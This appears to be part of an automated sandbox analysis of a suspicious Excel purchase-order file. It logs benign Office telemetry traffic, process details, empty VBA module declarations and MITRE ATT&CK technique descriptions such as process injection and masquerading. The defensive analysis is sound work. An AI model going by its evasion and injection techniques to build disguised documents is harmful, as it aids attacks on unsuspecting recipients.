3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:20 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:20 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 8e66950d-f01e-0003-769c-274453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193820Z-16849878b787bfsh7zgp804my400000005qg00000000t79n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:21 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:20 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:20 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: da7cdfa2-201e-000c-3d68-2779c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193820Z-17c5cb586f64v7xsc2ahm8gsgw00000001yg00000000ah1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:21 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:21 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:21 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: c9277d07-501e-0047-62ae-24ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193821Z-15b8d89586fwzdd8urmg0p1ebs0000000hng000000009wzw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:21 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:21 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:21 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: bb32e714-c01e-008d-58b0-262eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193821Z-16849878b786lft2mu9uftf3y4000000088g00000000bbta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:21 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:22 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:22 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: 7f9b0e41-501e-0047-71a3-26ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193822Z-16849878b78zqkvcwgr6h55x9n00000006h0000000000a0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:22 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:22 UTC	192	OUT	GET /rules/rule703100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:22 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBCD5699" x-ms-request-id: 9a91c6fd-e01e-0052-7fdd-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193822Z-r197bdfb6b48pcqqxhenwd2uz800000007t000000000kedg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:22 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:22 UTC	192	OUT	GET /rules/rule703101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:22 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F93037" x-ms-request-id: b5268a27-501e-0047-22c2-28ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193822Z-17c5cb586f626sn8grcgm1gf8000000005hg000000003eq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:22 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS"

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:22 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:22 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 2d748408-801e-0048-3eee-25f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193822Z-16849878b787wpl5wqkt5731b400000007rg00000000ftsh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:22 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:22 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:22 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: bc808b91-e01e-00aa-0f74-27ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193822Z-17c5cb586f67hfgj2durhqcxk800000005vg00000000avag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:22 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Target ID:	0
Start time:	15:37:02
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x700000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:38:08
Start date:	29/10/2024
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff7b0f50000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:38:15
Start date:	29/10/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" -Embedding
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:38:20
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\NUEVA ORDEN DE COMPRA 73244.xla.xlsx"
Imagebase:	0x700000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet3

Declaration

Line	Content
1	Attribute VB_Name = "Sheet3"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

